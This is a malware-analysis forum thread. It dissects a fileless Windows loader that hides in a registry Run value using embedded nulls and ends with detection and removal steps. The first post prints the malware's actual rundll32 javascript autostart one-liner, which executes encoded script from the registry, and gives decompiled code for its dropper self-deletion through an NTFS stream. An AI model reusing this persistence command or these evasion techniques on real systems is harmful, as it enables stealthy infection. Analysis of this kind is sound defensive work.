A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #23362  by EP_X0FF
 Tue Jul 15, 2014 10:44 am
Some non typical malware which doesn't have any attention from "security experts" and other internet clowns. Maybe because of this it is not well detected on VT.

The key features of it, making it non typical:

1) This malware lives in registry value.
2) Non typical dropper self-deletion method, nothing zero day though.
3) Malware startup location protection in a backdoor Sirefef way.
4) It downloads, installs and uses Windows KB968930 (MS PowerShell).

More details below

1) This malware stored under key HKCU\Software\Microsoft\Windows\CurrentVersion\Run and it autostart location is invisible to regedit, why explained in part 3.
img1.png
img1.png (35.73 KiB) Viewed 3301 times
That's what really here.
img2.png
img2.png (11.66 KiB) Viewed 3301 times
"Unnamed" value is a forged registry value that holds command to execute malware script stored in "Default" value. Exactly this value makes regedit crazy.

Autostart malware script below.
Code: Select all
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>") 
It purpose - read, encode and execute script stored in the "Default" value. The decoded malware now set as process environment variable named "a" and contains additional code to execute stored again as script code, lets call it ScriptA. It is named ScriptA.txt in attached archive. Decoded script attached as ScriptB.txt. As you can see they multiple times use base64 encoding for layered payload. Inside ScriptB you can find another base64 encoded which is attached as PayloadA.txt. This is base64 encoded dll which is actual malware designed to be running inside zombified copy of dllhost.exe (this malware aware about WOW64 and will select appropriate version of this executable - Wow64DisableWow64FsRedirection %windir%\syswow64\dllhost.exe or %windir%\system32\dllhost.exe). Final payload dll (attached as payload.dll) packed with MPRESS v2.19. Unpacking MPRESS is similar to manual unpack of UPX.

This dll is simple and is capable of downloading and executing arbitrary files on infected machine (WinExec). Also because it is used in startup process this dll is also responsible for zombifying dllhost.exe process and self-injection through NtQueueApcThread.

2) It uses NTFS ADS for dropper self-deletion and more trivial MoveFileEx with MOVEFILE_DELAY_UNTIL_REBOOT if first method failed. After self-deletion malware persist on infected computer only in the zombified processes VA and in the registry.

First dropper attaches itself as stream to dropper. e.g. C:\malware.exe -> C:\malware.exe:0 where 0 is a NTFS data stream copy of malware.exe. Next it spawns process from ADS and calls DeleteFile.

Yeah I too can F5 in HexRays.
Code: Select all
signed int __stdcall sub_401696(LPCSTR lpExistingFileName)
{
  char *NewFileName; 
  struct _STARTUPINFOA StartupInfo; 
  struct _PROCESS_INFORMATION ProcessInformation; 

  snprintf(&NewFileName, 0xFFFu, "%s:0", lpExistingFileName);
  if ( CopyFileA(lpExistingFileName, &NewFileName, 0) )
  {
    StartupInfo.cb = 68;
    memset(&StartupInfo.lpReserved, 0, 0x40u);
    if ( CreateProcessA(&NewFileName, 0, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
    {
      CloseHandle(ProcessInformation.hThread);
      CloseHandle(ProcessInformation.hProcess);
      return 1;
    }
    DeleteFileA(&NewFileName);
  }
  else
  {
    if ( MoveFileExA(&NewFileName, 0, MOVEFILE_DELAY_UNTIL_REBOOT) )
      return 1;
  }
  return 0;
}
3) Embedded nulls used for protecting startup key HKCU\Software\Microsoft\Windows\CurrentVersion\Run key from removal and for hiding actual run value (regedit cannot handle incorrect value name and cancels listing items).

Malware payload dll inside dllhost zombie process additionally works as a watchdog and will recover malware startup registry values if they are removed.


Detection and Removal instructions:

This malware can be easily revealed because of invasive self-protection it uses. Autoruns and ProcessExplorer from sysinternals all you need to detect presense of this malware.

Locate and terminate dllhost.exe running without parents (it is launched by powershell that after exists).
regdelnull hkcu -s to remove forged Run subkey.
Regedit - delete whole HKCU\Software\Microsoft\Windows\CurrentVersion\Run key.


Sample courtesy of R136a1
https://twitter.com/MalwareChannel/stat ... 6885412864

Also thanks to B-boy/StyLe/ who bring attention to this malware.
Attachments
pass: infected
(108 KiB) Downloaded 437 times
 #23363  by B-boy/StyLe/
 Tue Jul 15, 2014 11:14 am
Thanks for the detailed analysis. :)

Btw credits goes to aharonov and Picasso as well. We worked together on the latest variant which hijack HKEY_CURRENT_USER\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} instead of HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

Regards,
Georgi
Attachments
(65.29 KiB) Downloaded 187 times
 #23364  by EP_X0FF
 Tue Jul 15, 2014 11:18 am
I assume malware authors will intensively move startup locations and payload script encoding :)
 #23368  by EP_X0FF
 Tue Jul 15, 2014 2:32 pm
Exactly this binary was a payload of CVE-2012-0158 exploited RTF document.

Just a quick addition to first post - I completely forgot to add original encoded data.
It is encoded with Windows Script Encoder data from Run "Default" value. In attach original + fully decoded.
Attachments
pass: malware
(32.12 KiB) Downloaded 226 times
 #23370  by TwinHeadedEagle
 Tue Jul 15, 2014 2:56 pm
I am hoping I will have some case these days, although it doesn't seem too complex. I cannot find, what this malware actually does?
 #23371  by EP_X0FF
 Tue Jul 15, 2014 3:03 pm
MAXS wrote:I am hoping I will have some case these days, although it doesn't seem too complex. I cannot find, what this malware actually does?
This is loader type of malware.

It is capable download and execute arbitrary files on the infected computer (assume it is sort of "tasks" in their C&C panel). Additionally it send to malware urls installation feedback information.
You can assume if the computer infected with this - it will be full of other malware running together.
 #23499  by TwinHeadedEagle
 Sun Aug 03, 2014 1:50 pm
Does someone have these hashes?

4727b7ea70d0fc00f96a28de7fa3d97fa9d0b253bd63ae54fbbf0bd0c8b766bb
e8d6943742663401e5c44a5fa9cfdd8fad6a9a0dc0f886dc77c065a86c0e10aa

Or this one?

BFA2DC3B9956A88A2E56BD6AB68D1F4F675A425A